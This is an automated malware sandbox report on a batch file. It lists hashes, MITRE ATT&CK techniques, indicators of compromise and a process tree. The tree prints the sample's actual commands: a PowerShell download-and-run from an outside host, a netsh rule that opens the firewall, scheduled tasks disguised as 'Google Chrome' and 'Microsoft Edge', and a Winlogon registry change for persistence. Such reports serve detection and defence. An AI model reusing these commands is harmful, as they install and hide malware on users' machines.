87093db0124c0b77b6c8c538684a2471266297abef18ec612c2bd5dd2a4edbda

General

Target

penis.bat
Size

211B
MD5

2c7b4b9e981962a2865f0b402fcbf099
SHA1

2836b4f798cdc6a4919cd8f915bda2d71f8423e9
SHA256

87093db0124c0b77b6c8c538684a2471266297abef18ec612c2bd5dd2a4edbda
SHA512

7356ecdc1b667bbfe8637d05d116e3c9a41648aa53527a84f1e4db455ea8a79774bc3c3232cfbf095fff6b00d90cfd8aab6f23d0f00543d0aca9938ea77316cb

Score

10^/10

execution persistence privilege_escalation

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\xdwdOperaUpdater"	updater.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1440	powershell.exe
3	1440	powershell.exe

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Executes dropped EXE 3 IoCs

pid	Process
3940	updater.exe
5040	xdwdOperaUpdater
776	xdwdEaDM

Loads dropped DLL 6 IoCs

pid	Process
5040	xdwdOperaUpdater
5876	Process not Found
2932	Process not Found
3392	Process not Found
776	xdwdEaDM
3584	Process not Found

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1440	powershell.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\xdwdEaDM	updater.exe
File opened for modification	C:\Windows\xdwdEaDM	updater.exe
File created	C:\Windows\xdwd.dll	updater.exe
File opened for modification	C:\Windows\xdwd.dll	updater.exe
File opened for modification	C:\Windows\xdwdEaDM	xdwdOperaUpdater
File opened for modification	C:\Windows\xdwdEaDM	xdwdEaDM

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4100	schtasks.exe
3980	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1440	powershell.exe
1440	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1440	powershell.exe
Token: SeDebugPrivilege	3940	updater.exe
Token: SeDebugPrivilege	5040	xdwdOperaUpdater
Token: SeIncBasePriorityPrivilege	5040	xdwdOperaUpdater
Token: SeDebugPrivilege	776	xdwdEaDM

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2052 wrote to memory of 1440	2052	cmd.exe	82
PID 2052 wrote to memory of 1440	2052	cmd.exe	82
PID 2052 wrote to memory of 3940	2052	cmd.exe	84
PID 2052 wrote to memory of 3940	2052	cmd.exe	84
PID 3940 wrote to memory of 5964	3940	updater.exe	87
PID 3940 wrote to memory of 5964	3940	updater.exe	87
PID 3940 wrote to memory of 2008	3940	updater.exe	88
PID 3940 wrote to memory of 2008	3940	updater.exe	88
PID 2008 wrote to memory of 4100	2008	cmd.exe	91
PID 2008 wrote to memory of 4100	2008	cmd.exe	91
PID 3940 wrote to memory of 32	3940	updater.exe	92
PID 3940 wrote to memory of 32	3940	updater.exe	92
PID 32 wrote to memory of 3980	32	cmd.exe	94
PID 32 wrote to memory of 3980	32	cmd.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\penis.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell (new-object System.Net.WebClient).DownloadFile(' https://download.oxy.st/get/faab8adaa31eef0b079c7374e28c17be/test.exe','C:\Windows\Temp\updater.exe')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1440
- C:\Windows\Temp\updater.exe
  C:\Windows\Temp\updater.exe
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3940
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" netsh advfirewall firewall add rule name="f%Q.7#>y7Qx_7C" dir=in action=allow program="C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater" enable=yes & exit
    3⤵
    PID:5964
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Google Chrome" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "Google Chrome" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4100
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "Microsoft Edge" /tr "C:\Windows\xdwdEaDM" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:32
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "Microsoft Edge" /tr "C:\Windows\xdwdEaDM" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3980

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5040

C:\Windows\xdwdEaDM
C:\Windows\xdwdEaDM
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Event Triggered Execution

1

T1546

AppInit DLLs

1

T1546.010

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Event Triggered Execution

1

T1546

AppInit DLLs

1

T1546.010

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_skxiem4t.ps1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\updater.exe

Filesize
513KB

MD5
8c36296dee61b4f0612f65d008304a6a

SHA1
1b1a018cc833b5f281b4871c113678b2e3349613

SHA256
ac2b8fbf75ccf1194ee43b1122889125a0923eadd3acacd99dea046aa21e242d

SHA512
946541684caec1a14da139f968f7d861750c362fd67976b7a9ebf913ee2f60fead41117ad398c417970bf356ab20cc140a04e4a2311839c4a70b886363f718cf

Download Submit
C:\Windows\xdwd.dll

Filesize
136KB

MD5
16e5a492c9c6ae34c59683be9c51fa31

SHA1
97031b41f5c56f371c28ae0d62a2df7d585adaba

SHA256
35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66

SHA512
20fd369172ef5e3e2fde388666b42e8fe5f0c2bfa338c0345f45e98af6561a249ba3ecc48c3f16efcc73f02ecb67b3ddb1e2e8f0e77d18fa00ac34e6379e50b6

Download Submit
memory/1440-16-0x00007FFF24C50000-0x00007FFF25712000-memory.dmp

Filesize
10.8MB

Download
memory/1440-11-0x00007FFF24C50000-0x00007FFF25712000-memory.dmp

Filesize
10.8MB

Download
memory/1440-12-0x00007FFF24C50000-0x00007FFF25712000-memory.dmp

Filesize
10.8MB

Download
memory/1440-0-0x00007FFF24C53000-0x00007FFF24C55000-memory.dmp

Filesize
8KB

Download
memory/1440-10-0x00007FFF24C50000-0x00007FFF25712000-memory.dmp

Filesize
10.8MB

Download
memory/1440-9-0x0000029CFCBA0000-0x0000029CFCBC2000-memory.dmp

Filesize
136KB

Download
memory/3940-20-0x0000000000E30000-0x0000000000EB4000-memory.dmp

Filesize
528KB

Download
memory/3940-21-0x00007FFF24C50000-0x00007FFF25712000-memory.dmp

Filesize
10.8MB

Download
memory/3940-24-0x00007FFF24C50000-0x00007FFF25712000-memory.dmp

Filesize
10.8MB

Download
memory/3940-90-0x00007FFF24C50000-0x00007FFF25712000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads